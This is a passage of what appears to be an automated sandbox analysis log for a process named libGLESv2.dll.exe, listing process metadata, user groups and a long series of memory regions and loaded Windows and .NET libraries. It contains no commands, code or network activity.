# Flog Txt Version 1 # Analyzer Version: 2023.3.1 # Analyzer Build Date: Jul 17 2023 06:23:22 # Log Creation Date: 19.09.2023 15:13:45.131 Process: id = "1" image_name = "libglesv2.dll.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe" page_root = "0x43dc6000" os_pid = "0xd70" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7e8" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 124 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 125 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 126 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 127 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 128 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 129 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 130 start_va = 0xb00000 end_va = 0xcf9fff monitored = 1 entry_point = 0xcf131e region_type = mapped_file name = "libglesv2.dll.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe") Region: id = 131 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 132 start_va = 0x7ff5ff6b0000 end_va = 0x7ff5ff6d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff6b0000" filename = "" Region: id = 133 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 272 start_va = 0x400000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 273 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 274 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 275 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 276 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 277 start_va = 0x7ff5ff5b0000 end_va = 0x7ff5ff6affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff5b0000" filename = "" Region: id = 278 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 279 start_va = 0x590000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 280 start_va = 0x690000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 281 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 282 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 283 start_va = 0x7ff5ff530000 end_va = 0x7ff5ff5adfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 284 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 285 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 286 start_va = 0x690000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 287 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 288 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 289 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 290 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 291 start_va = 0x850000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 292 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 293 start_va = 0x7ffa61f20000 end_va = 0x7ffa61fbcfff monitored = 1 entry_point = 0x7ffa61f21010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 294 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 295 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 296 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 297 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 298 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 299 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 300 start_va = 0x850000 end_va = 0x9d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 301 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 302 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 303 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 304 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 305 start_va = 0xd00000 end_va = 0xe80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 306 start_va = 0xe90000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e90000" filename = "" Region: id = 307 start_va = 0x2290000 end_va = 0x2482fff monitored = 1 entry_point = 0x248131e region_type = mapped_file name = "libglesv2.dll.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\libGLESv2.dll.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\libglesv2.dll.exe") Region: id = 308 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 309 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 310 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 311 start_va = 0x7ffa61e20000 end_va = 0x7ffa61f16fff monitored = 0 entry_point = 0x7ffa61e44d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 312 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 313 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 314 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 315 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 316 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 317 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 318 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 319 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 320 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 321 start_va = 0x2290000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 322 start_va = 0x2290000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 323 start_va = 0x23e0000 end_va = 0x23effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 324 start_va = 0x23f0000 end_va = 0x24effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 325 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 326 start_va = 0x24f0000 end_va = 0x1a4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 327 start_va = 0x1a4f0000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a4f0000" filename = "" Region: id = 328 start_va = 0x1a860000 end_va = 0x1a96bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 329 start_va = 0x1a970000 end_va = 0x1aa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a970000" filename = "" Region: id = 330 start_va = 0x1aa70000 end_va = 0x1ada6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 331 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 332 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 333 start_va = 0x4c0000 end_va = 0x57ffff monitored = 0 entry_point = 0x4e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 334 start_va = 0x2300000 end_va = 0x23dcfff monitored = 0 entry_point = 0x235e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 335 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 336 start_va = 0x2300000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 337 start_va = 0x7ff5ff510000 end_va = 0x7ff5ff5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff510000" filename = "" Region: id = 338 start_va = 0x7ff5ff500000 end_va = 0x7ff5ff50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff500000" filename = "" Region: id = 339 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 340 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 341 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 342 start_va = 0x7ffa5d0a0000 end_va = 0x7ffa5d1adfff monitored = 1 entry_point = 0x7ffa5d0a1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 343 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 344 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 345 start_va = 0x7ffa5c450000 end_va = 0x7ffa5d093fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 346 start_va = 0x7ffa5bac0000 end_va = 0x7ffa5c441fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 347 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 348 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 349 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 350 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 351 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 352 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 353 start_va = 0x1adb0000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adb0000" filename = "" Region: id = 354 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 355 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 356 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 357 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 358 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 359 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 360 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 361 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 362 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 363 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 364 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 365 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 366 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 367 start_va = 0x1adb0000 end_va = 0x1ae8cfff monitored = 0 entry_point = 0x1ae0e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 368 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 369 start_va = 0x1adb0000 end_va = 0x1aeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adb0000" filename = "" Region: id = 370 start_va = 0x1af10000 end_va = 0x1b00ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 371 start_va = 0x1b010000 end_va = 0x1b10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b010000" filename = "" Region: id = 372 start_va = 0x4f0000 end_va = 0x51dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 373 start_va = 0x520000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 374 start_va = 0x1b110000 end_va = 0x1b20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 375 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 376 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 377 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 378 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 379 start_va = 0x7ffa5b8d0000 end_va = 0x7ffa5babafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\43de4a177616225e9b6262468e1c3b53\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\43de4a177616225e9b6262468e1c3b53\\system.drawing.ni.dll") Region: id = 380 start_va = 0x7ffa5a9d0000 end_va = 0x7ffa5b8c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\37004ddc6f466d807c52ca3b7f9f9827\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\37004ddc6f466d807c52ca3b7f9f9827\\system.windows.forms.ni.dll") Region: id = 381 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 382 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 383 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 384 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 385 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 386 start_va = 0x790000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 387 start_va = 0x7a0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 388 start_va = 0x7b0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 389 start_va = 0x7c0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 390 start_va = 0x7d0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 391 start_va = 0x7e0000 end_va = 0x7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 392 start_va = 0x7f0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 393 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 394 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 395 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 396 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 397 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009e0000" filename = "" Region: id = 398 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 399 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 400 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 401 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 402 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 403 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 404 start_va = 0xa60000 end_va = 0xa6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 405 start_va = 0xa70000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 406 start_va = 0x1b210000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b210000" filename = "" Region: id = 407 start_va = 0xa80000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 408 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 409 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 410 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 411 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 412 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 413 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 414 start_va = 0xaf0000 end_va = 0xafffff monitored = 